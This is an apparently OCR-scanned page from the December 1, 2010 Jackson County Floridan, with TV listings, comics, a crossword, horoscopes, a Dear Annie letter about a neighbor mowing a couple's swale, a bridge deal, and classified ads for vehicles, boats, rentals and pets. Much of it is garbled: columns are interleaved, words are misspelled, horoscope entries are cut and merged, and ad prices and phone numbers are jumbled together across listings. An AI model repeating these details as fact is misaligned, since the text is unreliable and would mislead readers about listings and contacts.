CSI: Crime Scene CSI: NY (In Stereo) CSI: Crime Scene CSI: Crime Scene S1: Crime Scene SI: Crime Scene .CS: Crime Scene 49 HGTV Cash Attic Cash Attic Potential Potential Designing lost set It Sold et It Sold to Sell ro Sell -louse hunters lasted Income Antonto.Treatment Divlne Design Design Design Get It Sold Get It Sold income To Sell 98 TLC 19 Kids 19 Kids Baby Baby Baby Multiples bese and Pregnant ay Yes adding What Not to Wear aby aby aby Baby bese and Pregnant Say Yes Say Yes ay Yes Wedding ake ake 99 SPEED Monster Jam Monster Jam Monster Jam ollywood Car Chases Paid Prog. Pald Prog. Auto Racing Auto Racing Wounded Warriors Garage [Truck U Barrett-Jackson Monster Jam ass Time ass Time WEDNESDAY EVENING / LATE NIGHT DECEMBER 1, 2010 6:00 6:30 7:00 7:30 8:00 8:30 9:00 9:30 10:0010:3011:0 1:3 2:0012: 1:01:301302:0012:3013:0013:30 4:00 4:30 5:00 5:30 2 Wheel Jeopardyl Survivor: Nicaragua Criminal Minds 0 rammy Nominations Oews Late Show Letterman Late Late Show/Craig Extra (N) p to the Minute (N) (In Stereo) AgDay News Daybreak Good Morning Show 3 News Wheel Survivor: Nicaragua criminal Minds Grammy Nominations News Late Show Letterman Late Late Show/Craig inside Ed. Up to the Minute (N) (In Stereo) TVY This Morning 5 News Wheel Jndercovers (N) 0 Law & Order: SVU Law-Order L.A. Yews onlght Show w/Leno Late Night Carson Poker After Dark Extra (N) The Bankruptcy Hour shepherd's Chapel Early Tdy ewsChannel 7 Today 8 0 News Ent Middle Better Family [Cougar he Whole Truth (N) News Nightline Jmmy Kimmel Live Lopez Jm Paid Prog. Paid Prog. rofit ABC World News Now (N) 0 Morning News 13This Morning 10E Two Men TwoMen Human Target Hell's Kitchen m ews [How I Met Law & Order: SVU King-Hill Selnfeld Friends Frends Lewis and Jurnovoy Scrubs elnfeld Paid Prog. Paid Prog. Shepherd's Chapel aid Prog. Outdoor 11 I NewsHour Education Celtic Woman: Greatest Journey -Holiday Jeff Beck Honors Les Paul [Charlie Rose (N) i. Smlley To Market-Buy Lincoln Highway Independent Lens Nlagara Falls 0 ova 0 (DVS) Place Lions 7 SHOW Flawless "The OtherCity"(2010)'NR' inside the NFL0 Lovein a Time of HIV inside the NFL E 'Valkyrie***' (2008) Tom Crulse, Boogie Woogie"*,a (2009, Drama)'R' 'TheGirlfriendExperience"'R' Off Air) 'TreesLounge"'R' 4 NICK Carly Sponge. My Wife y Wife Chris chris Lopez Lopez he Nanny he Nanny he Nanny he Nany Lopez Lopez My Wife MyWife hris Chris rhe Nanny he Nanny Fam. Mat. Fam. Mat. Full House Full House 16TBS Selnfeld SeInfeld Payne Payne Browns Browns Browns Browns Conan(N) LopezTonight (N) Conan opez Tonight SadNews Bears"**k (2005, Comedy) v Married Married Married 17HBO TheLazarus Effect Boardwalk Empire BoardwalkEmpire BoardwalkEmpire DennisMiller treatment Treatment treatment Treatment Milk*** 0 (200) Sean Penn.R' I'LoveandAction in Chicago"** (1999) "Ku/theConquerof' 18 ESPN2 College Basketball college Basketball: Maryland at Peln State. SportsNation (N) NIFL Live Natlon BA portsNatlon [20010 Poker 010 Poker [010 Poker H-Lite Ex. Mike and Mike 19 ESPN Valvano's college Basketball: Purdue at Virginia Tech. College Basketball: Michigan State at Duke. SportsCenter (Live) n SportsCenter (Live) portsCenter (Live) SportsCenter portsC rent nter SportsCenter 0 20 CSS College Football college Basketball portsNIte (In Stereo) Pai rd Prog. Pa rog. Prog. Paid Prog. 'aid Prog. Paid Prog. Paid Prog. Pald Prog. ad Prog. Pad Prog. d Prog. Pad Prog. ad Prog. Pad Prog. 21 DISN Deck Deck 'Ful-CourMiracle"** (2003) Fish Soy ny onny H h na annah Hannah Hannah Wizards Wzards ulte Life SuteLfe Phineas Phineas Litle jungle rimmy Chugging gentOso 22MAX 5:45)"Jennifers Body"(2009) 'R' Taken"*** (2008)'PG-13' "The nfoman!"'*** (2009)MattDamon. "Right to Bare" Menin Blackl** (2002) Lingerie "PlanesTrains and Automobiles"1987)'R' "More American Graftib(1979) 9(2009) 23 TNT Bones (In Stereo) Bones (In Stereo) Bones (In Stereo) Bones (In Stereo) outhland (In Stereo) CSI: NY (In Stereo) SI: NY (In Stereo) Leverage 0 Cold Case (In Stereo) NUMB3RS "All's Fai NUMB3RS (In Stereo) Ange "Lonely Hearts" 24 DISC Storm Chasers 0 MythBusters MythBusters (N) torm Chasers 0 MythBusters 0 MythBusters M Storm Chasers 0 Overhaulln' (In Stereo) Paid Prog. eleworld releworld Paid Prog.Am Court NeMath Paid Prog. Pad Prog. 25 TWC weather Center Weather Center 0 Weather Center First Outlook Weather. Wake Up With Al 26 USA NCIS "In the Dark" NCIS "Broken Bird" NCS "Moonlighting" Psych "Dual Spires" IBurn Notice 0[ Royal Pains Psych "Dual Spires" "Foreigner2:Black Dawn'(2005, Action) aS Law & Order: SVU Fat Loss Paid Prog. JAG "Salvation" 28 FAM Dr. Seuss Dr. Seuss Dr Seuss'How the Grinch Stole Christmas'* "Dr. Seuss'HowtheGrinchStoleChristmas'** 0 Paid Prog. Paid Prog. Paid Prog. No Dietsl The700 Club Twist Paid Prog. Prince Life Today J. Meyer ri-Vlta 9 LIFE How IMet How I Met Reba [Reba The Pelican Br/e"*** (1993, Suspense) Julia Roberts. m, How IMet How IMet Frasier Will/Grace Wll/Grace PaidProg. Paid Prog. Pald Prog. Paid Prog. Paid Prog. Baby Paid Prog. Paid Prog. Paid Prog. 30 A&E Dog Bounty Hunter Dog Bounty Hunter Dog Dog Storage Sto orange torage Dog Bounty Hunter Dog Dog Storage Storage Storage Storage Plad Prog. Celeb Scrt Paid Prog. No Detsl Paid Prog. Paid Prog. 32 SYFY host Hunters a Ghost Hunters a host Hunters 0 Hollywood Hollywood Ghost Hunters Hollywood Pollywood Highlander (In Stereo) StargateSG-1 0 "Bitten'(2007, Horror) Jason Mewes. 0 Paid Prog. Paid Prog. Paid Prog. Paid Prog. 33 AMC (5:00) "Bowlinger" *Scrooged"*** (1988) 8ill Murray. *Scooged"*** (1988) Bill Murray. I "Bowlinger"*** (1999) Steve Martin. 0a Spaceballs"** h (1987) Mel Brooks. Airplane II: The Sequel** (1982) 'PG' Paid Prog. Paid Prog. 34 MTV Buried Burled 16 and Pregnant [6 and Pregnant Fhe Challenge: Cut The Challenge: Cut True Life (In Stereo) True Life (In Stereo) The Challenge: Cut MTV (In Stereo) AMTV: Morning 35 BET 106 & Park: Top 10 'American Gangster"** (2007, Crime Drama) Denzel Washington. The Mo'Nlque Show Wendy Williams Show American Gangster"*** (2007, Crime Drama) Denzel Washington. Inspiration Popoff Inspiration Popoff BET Inspiration 36TOON Johny T Hole/Wall ude destroy Regular MAD King/Hil n King/Hll 'Fm. Guy eFam. Guy Chcken Boon Aqua [SquIdbi King/HIII KIng/HII Pam. Guy Fam. Guy McGee Boon Aqua Home Ben0 Hero 108 39 HIST he Presidents 0 Air Force One he President's Book of Secrets (N) 0 Sec.- Dollar Bill Ar Force One The President's Book of Secrets BB Sec.- Dollar Bill Paid Prog. Paid Prog. Paid Prog. Paid Prog. Younger Pald Prog. 0 TVLND Sanford sanford anord anford Raymond Raymond Raymond Raymond Rosanne Roseannne ReeRoseanne he Nanny ome Improvement Home Imp. 3'sCo. 's Co. MA'S*H M*A'S'H M*A'SH MA'S'H Pad Prog. Pad Prog 43 CNN2 Jane Velez-Mtchell lancy Grace rhe Joy Behar Show Nancy Grace Showbiz Tonight he Joy Behar Show Nancy Grace Showbiz Tonight Nancy Grace Jane Velez-Mitchell The Joy Behar Show Mornng Express 5 CNN John King, USA (N) Parker Spitzer (N) Larry King Live e Anderson Cooper 360 0 Larry King Live Anderson Cooper 360 Anderson Cooper 360 Larry King Live Parker Spzer Anderson Cooper 360 Amercan Morning (N) 6 CW 70s Show '70s Show America's Next Model Hellcats (N) (In Stereo) Married Married King King South Pk h South Pk ops BA Pain Relief Cooking Baby Pad Prog. No DIets Paid Prog. Paid Prog. Paid Prog. The Dally Buzz 00 47 SPIKE JFC Unleashed n JFC Unleashed 0 The Ultimate Fighter (N) (In Stereo) BlueMount BlueMount he Ultimate Fighter (In Stereo) BlueMount BlueMount Disorderly Con. Paid Prog. Paid Prog. Magic Bil Paid Prog. riss Profit In 49 HGTV Hunters House PHunters property Property Disaster Disaster oHousese Hunters Property Property Disaster sister House Huntrs Property Property Property Property Pad Prog. Paid Prog. Pald Prog. Young Pald Prog. Craft Lab 98 TLC Sarah Palin's Alaska ron of Love Untold Stories of ER Housebound Untold Stories of ER Housebound Ton of Love 00 Sarah Palln's Alaska Paid Prog. Paid Prog. Bed Paid Prog. KettleBell Smile Hell-Loggers 0 99 SPEED NASCAR Race Hub ntersec. est Drive Inks- All Out Stealth R health RI Intersec. est Drive Pinks- All Out Stealth RI Stealth R NASCAR Race Hub Auto Racing Auto Racing Pad Prog. Pad Prog. Paid Prog. Pad Prog. 4B Wednesday, December 1, 2010 Jackson County Floridan PEANUTS BY CHARLES SCHULTZ ES, MA'AM,I'D LIKE I WASTHINKIN6 LJOULD IT HELP I TO BUY A CHRISTMA5 MAYBE A PAIR I PECRIBED HE PRESENT FOR A 61RL OF GLOVES... I KNOW.. ------- -- BORN LOSER BY ART AND CHIP SANSOM tAOW t>O YOU LIKE 'OUR NE-.' PIT WORKS GREMT, BUT I RA\E TIT's5 A\ \T DlSCONCE.K~lNTO 5AA/\RTPROe? To ATObMIT... KNOW W PONE RMS A IREPE. I K> t'^-.-_-./ (C\ QIQ.NrAIA E! i0 ----i BIG NATE BY LINCOLN PIERCE YOU'VE GOT IT ALL WRONG, FRANCIS!' I'M NOT ENVIOUS OF AR UR /H, REALLY \' ^ WELL, YOU'RE ALWAYS COMPAP.ING YOURSELF TO HIM' WHAAW? NO. I, M NOT lp SOUP TO NUTZ BY RICK STROMOSKI FRANK & ERNEST BY BOB THAVES WAY \ MORE U E SECURE THAN ARTUR RIGH is!/^ 1 NEA Crossword Puzzle ACROSS 48 Glue on 50 Prepared 1 Comes for publica- unzipped tion 5 Planning 52 Meadow meeting flower input 53 food 10 Bumped cake 12 Not wholly 54 Dancer's 13 Wool coat asset 14 Toughens 55 Rural ne- up cessity 15 Green parrots DOWN 16 Fellow 18 Tex--csine 1 Freighter 19 Belonging hazard to Asian im- 2 Locale migrants 3 Safe to 22 Georgia launder university 4 NYSE 25 Wide ties regulator 29 Type of 5 John, in headache Glasgow 30 -ski wear 6 Oil barrel 32 Publish 7 Raison d'- 33 Bridle 8 "Family straps Ties" son 34 Low-carb 9 UNIX or diet DOS 37 Wash away 10 Oliver Stone 38 Noisy insect film 40 Former 11 Showroom Heathrow arr. model 43 Rock band 12 Metallic booking sounds 44 Float down- 17 Wheel buy river (2 wds.) 20 Many a 41 Ancient saint colonnade 21 Alarmed 42 Bath pow- 22 Telepathy der 23 Red giant in 45 Tel. or elec Cetus 46 Wall Street 24 Sleep - closer 26 Functioning 47 Magazine effectively execs 27 Quartet mi- 48 Arith. mear nus one 49 Decent 28 Transmit grade 31 NNW oppo- 51 Beads on site grass 35 Dusk to dawn 36 Chem. or bio. 39 Mellowed 40 Cook in a wok Want more puzzles? Check out the "Just Right Crossword Puzzles" books at QuillDriverBooks.com 12-1 2010 by UFS, Inc. GRIZZWELLS BY BILL SCHORR ARLO & JANIS BY JIMMY JOHNSON .1 -25EaH~ ni HOROSCOPE SAGITTARIUS (Nov. 23-Dec. 21) -A unique situation might develop in which you start out doing a favor for another, but end up with large gains occur- ring for you as well, due to a surprise twist. CAPRICORN (Dec. 22-Jan. 19) A staunch supporter .working behind the scenes on your behalf will be help you ful- fill an ambitious aim. When you hear about it, you will.be thank- ful per- son, because each has some- thing the other needs. Both will be willing to give a little to get a lot. ARIES (March 21-April 19) This is one of those days' where you won't need any time to ponder in detail before act- ing. some- one who needs you as much as you need them. CANCER (June 21-July 22) - Whether you're trying to sell an idea or a product to others, let it be known that you'll stand behind your words 100 percent. stum- ble. Pregnant and under court order ALLEY OOP BY JACK AND CAROLE BENDER G 9UES8 ITS BET F WE MAYBE THAT WOMA LET 6OOS REST HE'S HAD A WHO CHALLENGING A TOUGH lIME ADJUGING BOOS S RMONT TO THE STHRO ES HAVE TK u 12- II HOW IT D AT THE I'M ARAID WE A-E--r--7L PlALACE 6ARKA? DID .i- HAVE A FI6HT 1 YOU CONVINCE IN) o0 6' ON OUR u.,aD S- - ']\ \/ ^-^. ' MONTY BY JIM MEDDICK KIT 'N' CARLYLE BY LARRY WRIGHT HERMAN BY JIM UNGER "No charge for the sun roof." t*4). Dear Annie: When I was mowing our back lawn last week, I noticed that some- body had already mowed part of our swale area, which is on the street behind our house. Our grass is always mowed on a timely basis, so it wasn't a message that our grass was overgrown. This was not the first time. When it happened before, I dis- covered that the mowing was being done BRI] Today's deal comes from a quiz on opening leads. Look only at the West hand. What card would you choose against three no-trump? South sensibly added one point for the good five- card suit and opened one no-trump, showing 15-17 points. North used Stayman, then wished she had not when partner denied a major. This was Board 31 of 64 from the women's team final between China and England at the 1st World Mind Sports Games in Beijing two years ago. The "normal" lead is the spade two, fourth-highest from the longest and strongest. However, as you can see, that does not work well here. Declarer will win with her 10 and take four spades (finessing through West), four diamonds and one club. The better start is the heart ace. If the dummy sug- gests that this is not a fruitful attack, there will proba- bly be time to shift to a spade. Here, though, East will signal enthusiastically for hearts and the defenders will take the first five tricks in the suit. Nevena Senior for England did lead a heart, defeat- ing the contract. At the other table Zhang Yalan led the spade two, so England gained 10 international match points. What was the match result? England won by one. by one of the neighbors. I wrote him a polite letter asking him to please stop mowing our swale. A few days later, he came over and said he meant no harm and the mowing stopped until last week. I am annoyed about the trespassing and concerned about our possible liability if this neighbor hurts someone or damages property. Also, I have not been working for the past several months and am home alone all day. I wonder if this neighbor keeps track of my comings and goings in order to mow while I am out and wouldn't > see him. That scares me a bit. I think the mowing should *be reported to the police in r order to have a record in case S/f something goes wrong. My S- husband says that getting the police involved might make matters worse. So, should I laugh this off or report it? Nervous in the Nutmeg State Dear Connecticut: We sus- pect your neighbor has a power mower that he likes to use and simultaneously believes he's doing you a favor. Still, good neighbors respect one another's bound- aries. Since the situation makes you uncomfortable, have your husband speak to the neighbor and make it clear that he is creating a problem, and if he doesn't cease and desist, you will be forced to report it. If you have a homeowners or neighborhood association, ask for help in resolving this. ENTERTAINMENT I DON'T NEED To COMPARE MYSELF To ANYBODY! Ir'm VERY SECURE WITH WHO I AMW CELEBRITY CIPHER by Luis Campos Celebnty Cipher cryptograms are created from quotations by famous people, past and present Each letter in the cipher stands for another, Today's clue: A equals B "JZYIHDW MGEMIG AGXZSUG ET YJG H B XEIE B HU P BEDW. ZDR HY REG UD'Y VZYYGB PJHXJ X EIE B REGL YJG JZY HDW. VSJZVVZR ZIH PREVIOUS SOLUTION: "A bachelor's life is a fine breakfast, a flat lunch, and a miserable dinner." Francis Bacon (c) 2010 by NEA, Inc. 12-1 ~l2~ ~ 0 LuuglilngSlock r lnmilioni'i l incJdlst by UFS nc, 2010 North 12-01-10 A AJ 9 3 V J 10 8 + A 10 6 3 4 9 3 West East A Q 7 5 2 A 8 4 V AK9 V Q6532 * 8752 + J4 * 8 2 K J 7 4 South AK 10 6 7 4 + K Q 9 A Q 10 6 5 Dealer: East Vulnerable: East-West South West North East Pass 1 NT Pass 2 4 Pass 2 Pass 3 NT All pass Opening lead: ?? 1 -12 JCFLORIDANconi CLASSIFIED Wednesday ecebe 2010- Jackson County Floridan Wednesday, December 1, 2010- 5 B WIREGRASS CLASSIFIED MARKET PLACE horror pets & animals Houses Unfurnished l ATVs Boats Campers/Travel [Motor Homes/RVs portation Automobiles Misc. Autom6 biles Austin Tyler & Assoc HONDA '04 Rancher Procraft '06 Bass Trais Chevy 2010 Malibu LT "Prooerty Mgmt Is 400, 4 Wheeler, boat 16.5ft.90hp, 10K mi. on-star, XM Our ONLY Business" Garage Kept, Auto, Mercury Optimax -s- radio, blue. $17,050. -g_. 850-526-3355 GPS, $4,000 OBO $8,700.334-266-556 334-889-4226 334-687-1017' = _J MECURY LATE '70's FreePetsPolicy .B estifu l sp Honda '96 300 4X4, --- -r CarSeeker 8P /power trim Policy Bexecutive 3/2 inous Honda '96 300 4X4, i.. t r e a The Oak s $1 200 excellent condition DAMON 05 Daybreak cables hiring, new f Lost i carghoe.A d03/2 w/lawn service $1,996. 334-791-8238 JAYCO "09 hn Li.e i2n ,ri. i-,.t-., g :" .ears & water pump BMW 05,325 Sedan, Marianna $795 Honda '97 TRX927"flat eng.35K no WheelDrive 900251-599-5127 Blue w/tan leather, LOST Mae Pomera- response from individuals Entirely renovated 4-wheeler'11-.60 ai24 cn Automobiles Nompa HyS90 Lawene f/ a y .,Marianna$695LikeNewpnd.7Catana -I -3606, awning, 2 TV's,2 s g 1o network nan edsh bn nea whowillsellyauraoimalfr Nice brick 3/1 in L $1500.N334-792-8018 3, 2 yl a 7."e.4-6343,69S01464 AC's, generator tion94,000mi 43 for Sale 334 6233 Rd 850-209-9975/850- poses. Please screen re- fenced ard $600 sel eng., Very low hrs Mountaineer '04 v6,automtic 01Bmw 2000 Z3 5-speed 482-6192 spondents carefully when p e e n 21 n less than 250. Roller Montana 5th Wheel DAMON DAYBREAK transmission,reen '01 Toyota CamaryLE darkblue, leather givingananimalaway, Sneads, lawn serve. Boats furling, bimin, head, sleeps 6 comfortably 34ft6Kmi2 exterior 4WD,7500 4 cyl. black in color, newtires, rage ic. $450 And more micro, fridge. Good exc. cond. no leaks, slides, like new, big m. $3,500. 334-718- kept 77k miles, merchandise ce inc4re02Pontoon by cond. Docked @ Snug Great for family fun! Ford engine 12mpg. Ford '77 F-150 4WD 31kes s Pets M H toonbyHSp ort s$10,000.aLots of cab. & drawerl5456 HaMrobilelHomespCrest.Les0330 334Utsp cab. r a $61,000.334-446-1094 Runs, in good shape, ____'_Bic' _,_.: ___ hrs. Great Condition 673-0330. REDUCED space. Ser. Inq. Only or 850-227-5606 $4500 334-447-5316 for Rent $6,400. 334-447-5001 $13,900. 850-546-0636 Buick 0* R.al LS. ual fordSale '09 G3 15', 20h 4str --i- iOutback 04" 29FBH-Sr . "_________ r"'0-i42 i con y fo tin 2 & 3 BR MH C'dale. Yamaha25hrsex- .A ( ____40 Sie ..'at. "p:,, Ready fo hunt ng $500&up H20/garb/ tended warranty, i u r h rre. GMC -'08 SierCra 1500 .. 5 53 tn$ t. trailerd 2 esa r rant.y, kr .2.r. n.ay- Buck E wwwcarloscountry box, wired for trol- 0,, i 9,, i 25873 miles, black, Buick '98 Le %re Furniture m S4868/209-8847 condition, $7000 obo Seacratt, 89 20ft Salem 06ex-tra GeoganBoy 5fl ationDVD, excel- nv ible m les, O their, oa- S2 & 3 BRMH's in 334-268-4200 Center Console boat, l in5EP.3, bu le 2elin, ak,. lent condition, $9200, Getscape.c loaded, onlathe 19K mi. r ed, newtires, tune- La & Sns in 368T G T E motor & trailer 95 beds, awning, super ss 6, leveling jack, toddeck@netscape.c loaded, onl 19K mi. up,new rad.$3495 Lehigh Bedroom Marianna & Sneads 16FT GLASS STREAM 225HP Johnson tr slide, pull w/reg/. alnew int, frig, om, 334-242-7466 exc. cond. 14,900. OBO 850-592- suite, dbl bed, g (850)209-8595. BOAT 28HP Johnson, Dual Axle Tr. w/ P/U REDUCED lights, steps, and GMC95 Conversion Call 334-714-4001 2832/693-6835 dresser, mirrornite 2 BR MH for ren t rolling motor, depth brakes,wh., runs $13,500 334-6184-2080 f series 3 T $15 Vk GMC '95, Codc07 DS fully stand, mattresses, monthly & weekly finder $2,300 334-232- well, very clean, or 334-300-6112 firm 34 -- 4 gri $20SuuS1. .M Au. i,'-" ". i..d* h-tther int. quilt, valences $850 rates avail, in C'dale 4610 Great condo. $5,500. Sunny Brook TT'02 Monoco Knight '06, ., 5.1 ti 74. .n -' t.n r, ,:,.-:.ir, 29K mi. rm 850-526-1414 850-554-9934 24' Pntoon Boat '95, 334-791-4891. 2750SL28'w/slide Save $25K or more. 9189 5.0.7 .91.6 $21.000. 334-693-3980 Guns I e es 3/2, 2/2 in C'dale, runs great, $7500 Columbia, AL out. Q-bed, Like New, Diesel, 4 slides 4300 Jeep98 Wrangler CADILLAC '05 Fruit&Vegetables no pets, CH/A $425- OBO 850-573-1920 Seado RXP '05, Jet kepted under shelter mi, many upgrades Jeep9.rangle1 $500 850-258-1594 IV '99 Monterey 27 ft. Ski, 60 hrs, very compare to showrm. $159,700.850-866- ,h.eel.t. L.: Is tdr' air,lth m.:.onro. r,..c- CHEROKEE message Cruiser $18,900. clean, life jacket & price $30K, Will sell 2774 _s A s4 ,ior n~v t. U0,. neat- SATSUMAS AND LEE anDblwd Call 850-210-4166 cover incl. $5500 850- $12K 334-447-5001 BO 0.334 .2 1l ed i:.col ed m5mnry December 4th-Ith TANGERINES, sweet, 3/2 clean Dbl.-wd, no 527-4455 Sydney.'10tOutback'.ed a m r,,gh december 4th-th seedless, tree ripelo- pets or smoking, lyr Sydney'10Outback I2010 Toyota'10 sal:. j* 95.Sigh- National Peanut call grown, Marian- ease, family 4, $500. 1 STRATOS '00 22F T 31ft. Only used 3 ,. 1 Camr. $l.50i. upper miles, $9500 obo Festival Building naFL (850)209-5506 + dep 850-718-8158 't.,a- T,..ur,-,-mr,.i ReadI times, dual slide ..,,-. Au,.:,. CD. 3'1 .U .2320 Hwy'231S. e.'" n" o: tr, .:r 'c oiuts, sleeps 10,2- .. cruls. t Tlt wre l. ,dl,,,-'89 Seville, Dothan, Alabama Now Open Jackson Mobile Homes I.iSr. ll 11i.i, ?.1u:t entrance doors, I X 22.000 milTe, evie: f -. -ecial edition, *Over 275 Tables* Farms U-Pick Toma- n Park e* 229. 97 in/out ent. center, R-v ON200 ra er Super c ;n prl white, 138Kmi, Su toes & Peppers! I s Tracker 09 Pro tratos 95 285 Pro outdoor stove, elec. Lite, 26 ft., fully ide out,. der.. run.. great. $1700. Sat. 9-5 Sun. 10-4 toes & Peppers! outdoorstove'95 285 Pro awning, 28" flat a VISIN12063ike nr Sur4r Cel n 34 w.ite-3171 Bring your own buck- 160 like new, 16ft XL. Dual console awning, 28" fat loaded, like new, 34.7937431 Cell 3I4. 48.3171 et! 7 days a week. 2/1 & 3/2 Quiet,well 30HP Mercury w/ Johnson Fastrike 175 screen TV, $26,000 low mileage $38,500 5317 850-592-5579 maint. H20/sewer/ power trim, trolling 2 depth finders, gp BO 229-310-7252 OBO 334-616-6508 -9Cadillac vTahoeSU r die /tan lDevillhe Musical Instrument garb/lawn in. $375 motor, dept & fish deck extension $7000 Winnebago 9 34 4-wh. dr. 135,905K t neW tires air & S$575 Lonterm RV finder hronmotor334 6719770 Motor Homes/RVs Scenic cruiser 37 ft. Adventurer 29K mi. good cond. frontend good cond Hammond Organ, 2 Tomatoes,Turntps Lots aval. Joyce $8300. 334-493-7700 byGulf.Streamn99' miles cCleanRun keyboard, petals, CollardMustards RileyRE850-209-7825 Bt '6 T ractor 06 Pro-team Immaculate condo. Great, $19,000,334 b sBasstracker '86 175 Mercury out- Concord Coachman loaded W/options 405-9127 Beetle'02 bench, Leslie speaker Frozen Peas! Rent to Own: 2 & 3BR Great cond. W/extras ard, eTrailstar '05 Mut- cotor Homan must see oDDothan Sunro 9 of, Leather, FMH's. Lotrentincl. 50hpsMercuryclassictrailer, not used off 23' long 2700mi. must0se nREALLYNICECAR! 1414 For details 850-557 mtr $3000. VERY well the showroom floor, Take over payments. $49,500.334-803-3397 AviatRionoLLY IC CR! ng Euip Hay& Grain 3432/850-814-6515 cared for 677-7195 shelter & maint 850-593-5103 Call 8502104166. real+ es tate 977 Cruise Master LE, '05, '36i wrhs cih : ., Camaro 02 Z28, Tanning Bed H ay for Sale:C coastal/ re s "t j..i", w ntr ,:t 36ft w workhorse chas-, d exc. Sunvision 28LX pd Tifton 85 $35-$45 per residentialfor sale Tr1t. re sis 8.1 gas engine, 1966 Cessna 310K;for -,- r,, inl, awtrlner, $5000. will take quanity.850-209-5932 gen. 3 sl, SAT, 2 TV, 2 artn-r. Colemilltake up.. o 795.255 334-750-4852 LL 2I CHRYSLER '78 '01 Coachman Catali- A/C, auto leveling, R WINNEBAGO '02 grade. 110 hours BMW 04 3251 ac;..o.com employment ft, na 3ft. no pull outs, cam.Roadmaster Brave, 2-slides, 2- since engine over red, beige leather Se employment 40HP Chrysler motor, $7,195. Must Sell" tow/brake system, TV's 2-Air, level haul. Call Ron at 498- interior, exc cond, T OK pets & animals $1,500 OBO 334-687- exc. cond. 334-655- '05 Jeep Wranger jacks, 19K miles, 3279 good condition, 93k mi, $10,900 OBO I0K I I 6863, 695-2161 8462 or 334-655-8461 Unlimited, 41k mi, $35,000 772-631-5065 green and white ex- Call 256-497-8985 SI i -Auto air, 6 cyl, $75k rir liht ra int- ' ______- I ^ ^ ^ Correct Craft 1973, '06 Travel Trailers w/jeep, $60k without teinor, i$105000 36330 - SCondominiums 14', live well, new forsale, selfcon- jeep, both in great RVs/Camers 1 (334)498-327 CH top, 35hp, runs great! tained 334-793-4438 cond. selling due to Wanted ferrellr@roadrunner. CHEVROLET -'10 AuburnS t garage kept. $1750 or 334-793-4448 health. 850-352-2810 com Corvette TORCH RED CareerSeeker Aubudo, 2/2tuew/LoftCon- 3459e6-5e0e3 30 ft. 5th wh.'05 Sid- Damon 2000 Ultra 5th '06 Fleetwood 2- com .WIHetAN ITEROR Free Pets Policy across from Vet Correct Craft Torino ney OB Keystone 1Ig. Sport. Cummins slides, with 07' You name it... Ford 02 Taurus SE CHROME WHEELS 6 Your pet deserves a lo- School. Wire Rd. on 17ft. complete refit slide, Q-bed, sofa, 2s diesel. 12K mi. slide, Silverado 250 work CLASSIFIED Loaded, LIKE NEW! SPEED PADDLE SHIFT Your pet deserves a lo General Tiger Transit route, '07 350CID/450 hp rockers, white cabi- Leveling jacks, diesel truck as package ONLY 15,125 miles LOADED 10,500 miles, for a free pet may draw Appliances 2 yrs old. Penta outdrive, gar, nets, many extras, gen. $52K 334-701- payoff $36,000 has itllI $6,725. CALL: $49,500, fo afeptmydIConvenient location kept. exc. cond. very very pretty. $16,000 7787 or 706-681-5630 334-470-8454 1 (334) 790-7959 (334)268-3900 rwill sel o niallfo NOW HIRING $91,500,334-501-2045 fast!!!H $10,750. 334 8037726 or 334 , s h obreldonp CASHIERS gunwright@bellsouth 334-347-7930 ,,3-. 7-.i. pose Please screen re- Hand martSto es .net -Fisher '01 Hawk 18' camper 5Nw. spondents carefully when ompettyepay, & Class 2, with 115 $3000. Needs work givingananimalaway. benefit packa HomesforSale Mercury outboard 334-678-0031 fish f inerstryEolt lingo a MEO 3 03t4 EOE. Sangaree Oil motor with trailer, 2 CARRIAGE '02 Co., 850-482-5241 fish finders, trolling CAMEO 30 ft. 2 slides Cats 850-482-. motor, access ladder, well kept includes U f u*BAh.R.G.AINI.i Bemini, AM/FM ra- super slide hitch re hod Kittens 6 P ise Drive dio, on board charge, $15,000 334-687-9983 Free Holiday Kittens real estate 216 Primrose Drive cover, very well kept 6wks old, Tiny! To residential for rent I indershelter. good home only e ,a t __ rem ; 14,000 334-685-7319 + 850-482-5472l m $14,000. 334-685-7319 Free kittens, 4 avail Fisher '06 Crappie'i ` S "f1. ble' I8I505 Special. Has Mercury ble 850-557-2846 60 motor. 21.1 bhrs. 16x14x25 pet carrier Desk top computer, Lg acrylic ocean Nat Amethyst druzy Sewing machine, r it t on.mtr.Trolling $25 850-624-3703 monitor & desk, all painting $50 850-482- ER- 925 Silver. New. 1 SINGER NIB never home, 7 wFr ee kittens to goo motor,fish finder, 2 Dutchmen 40 ft V, RCA, $40 cords $250. 850-899- 3537 3/4" long $39, used $85 850-526- 850-569-2313 Apartments- maintained h live wells w/trailer Travel Trailer'06 80-6061928601 Lg collection of (850)579-4476 3426 9sq f n ed26 3'ep ,Dining table w/4 june jewiry, some Old Scrub Board, Sigma Marten Acous- Dogs i 1 Unfurnished yard. All appliances Gheenoe Camo 13' 2 Slideouts, Loaded, 2 burgundy lamps whMchi- wrrn $4 A8cs- sta 129,900 w/traler.2HP mtr.32 Like new. $19250 w/multicolor shades, chairs & match chi- w/rinestones. $.25- wood & metal $20 tic Guitar $450 850- M tIk (334)950 9 ttroi ng mtr 334-406-4555 $25/ea or $45 for na cabinet $225 850- $35 850-526-1414 850-624-3703 879-4365 Mike 334) 550-9748 # thrust trolling mtr 334-406-4555 593-5702/272-7129 M, F 1st shots $200 2 BA 2 BR CH/A Prowler AX6, 5th wh, chairs $25 850-624- ter trained kittens cond. $75 firm 850- 850-899-8601 in New $39- ea. 334-774-4658 W/WD, 1900 sq ft Mariner motor 4hp, 36ft, 4 slides, large 3703 850-482- 5880/850- 482-3537 OBO 850-899-8601 (850)579-4476 urnr iMlow hrs. runs great. shower, 30/50AMP. 303-9727 Patio set, 2 swivel 7', :2-8700 short shaft fresh wa- $26,000 OBO 334-695- 5 cu.ft freezer, exc. Lg. fuzzy spring rock- chairs & round table Silver Ring- Hawaiian ter used only $525. 4995, 334-687-7862 cond. $65 firm. 850- Fresh Aire by ing horse, very good w/glass top $45 850- Druzy New Size 8.75 i: r.1 r 334-441-8421 Sabre by Palamino 482-3537 Ecoquest Air Purifier cond. $35 850-482- 482-3853 $39 (850)579-4476 re. "s l Pontoon Boat'95 19' '08, 28 ft 5th wheel 7 Drawer Dresser & w/remote $300 850- 3853/272-4305 Pend. ER Ring et- Silver/Sapphire ER- roil r, i0 i'_.' ad.? ,9or r :,ted for 12 people, camper, 3 slides, night stand $60 569-2194 Lots of Nautical de- Avatar TurquoiseSapphire - 9 I ,1 )hp force motor, many extras, clean, (850)592-2881 GE Microwave Oven, cor, painting, pic- Flower Jewelry Set Sapphire and 925 Sil- ^-.- -c. cond. $5000 sacrifice @ $29k 850- 